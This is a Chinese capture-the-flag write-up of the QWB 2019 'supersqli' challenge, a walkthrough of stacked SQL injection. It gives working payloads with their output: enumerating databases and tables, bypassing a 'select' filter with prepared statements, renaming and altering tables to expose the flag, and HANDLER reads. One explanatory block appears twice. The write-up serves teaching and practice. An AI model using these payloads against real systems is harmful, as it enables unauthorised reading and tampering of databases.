[強網杯 2019]隨便注


這是一道來自強網杯的題目

第一回合 常規測試

查看頁面信息

supersqli_1

注入類型判斷:

1'   			# 報錯
1'--+  			# 正常且為True
1' and 1=1 --+  # 正常且為True
1' and 1=2 --+  # 正常且為False

判斷列數

1' order by 3--+	# 報錯

一共3列

獲取相關信息

0' union select database(), user() --+ # 報錯

supersqli_5

過濾了select,無法通過大小寫繞過

幾經嘗試無果,只能求助於百度

第二回合 花式注入

所謂堆疊注入,就是一次性執行多條查詢語句

獲取數據庫

?inject=1';show databases;--+

[OUTPUT]:
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

看到了所有的數據庫

獲取數據表

?inject=1';show tables;--+

[OUTPUT]:
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

查看列信息

?inject=1';show columns from `1919810931114514`; --+
[OUTPUT]:
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

方法一:繞過select

如果無法使用select,還是獲得不了flag,可以通過預編譯的方式繞過對select的限制。

SQL 語句的執行處理
1、即時 SQL
  一條 SQL 在 DB 接收到最終執行完畢返回,大致的過程如下:

  1. 詞法和語義解析;
  2. 優化 SQL 語句,制定執行計划;
  3. 執行並返回結果;
如上,一條 SQL 直接是走流程處理,一次編譯,單次運行,此類普通語句被稱作 Immediate Statements (即時 SQL)。

2、預處理 SQL
  但是,絕大多數情況下,某需求某一條 SQL 語句可能會被反復調用執行,或者每次執行的時候只有個別的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要經過上面的詞法語義解析、語句優化、制定執行計划等,則效率就明顯不行了。
  所謂預編譯語句就是將此類 SQL 語句中的值用占位符替代,可以視為將 SQL 語句模板化或者說參數化,一般稱這類語句叫Prepared Statements。
  預編譯語句的優勢在於歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止 SQL 注入。

  1. 詞法和語義解析;
  2. 優化 SQL 語句,制定執行計划;
  3. 執行並返回結果;
如上,一條 SQL 直接是走流程處理,一次編譯,單次運行,此類普通語句被稱作 Immediate Statements (即時 SQL)。
  4.
  5. 2、預處理 SQL
  但是,絕大多數情況下,某需求某一條 SQL 語句可能會被反復調用執行,或者每次執行的時候只有個別的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要經過上面的詞法語義解析、語句優化、制定執行計划等,則效率就明顯不行了。
  所謂預編譯語句就是將此類 SQL 語句中的值用占位符替代,可以視為將 SQL 語句模板化或者說參數化,一般稱這類語句叫Prepared Statements。
  預編譯語句的優勢在於歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止 SQL 注入。

預處理流程

SET;									# 用於設置變量名和值
PREPARE stmt_name FROM preparable_stmt;	# 用於預備一個語句,並賦予名稱,以后可以引用該語句
EXECUTE stmt_name;			 			# 執行語句
{DEALLOCATE | DROP} PREPARE stmt_name;	# 用來釋放掉預處理的語句

構建payload:

-1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
[OUTPUT]: strstr($inject, "set") && strstr($inject, "prepare")

暗示setprepare關鍵詞被攔截,但是strstr函數對大小寫敏感,嘗試使用大寫繞過:

array(1) {
  [0]=>
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}

獲得flag

方法二: 修改表名

原題目查詢的數據表為words。既然沒過濾 alertrename,那就可以把表和列改名。先把 words 改為其他,再把1919810931114514改為 words,然后把新的 words 表里的 flag 列改為 id ,這樣就可以直接查詢 flag 了

payload如下:

-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
show columns from words;--+
# ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(類型);

使用 /?inject=1' or 1='1 訪問一下即可獲得 flag

方法三: handler

mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句並不具備select語句的所有功能。它是mysql專用的語句,並沒有包含到SQL標准中。

HANDLER tbl_name OPEN [ [AS] alias]
# 打開一張表,無返回結果,實際上聲明了一個名為tb1_name的句柄。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
# 獲取句柄的第一行,通過READ NEXT依次獲取其它行。最后一行執行之后再執行NEXT會返回一個空的結果。
HANDLER tbl_name CLOSE
# 關閉打開的句柄。

使用payload:

1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +

最后

原題目因為使用multi_query()執行一條或多條sql語句,然后將結果全部輸出,才會出現這種漏洞。

MySQL中反引號和單引號的區別與用法

  1. MySql 中用一對反引號來標注 SQL 語句中的標識,如數據庫名、表名、字段名
  2. 引號則用來標注語句中所引用的字符型常量或日期/時間型常量,即字段值
    例如:
select * from `username` where `name`="peri0d"

參考:

2019強網杯"隨便注"學習

[強網杯 2019] 隨便注

MySQL的SQL預處理

mysql查詢語句-handler


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM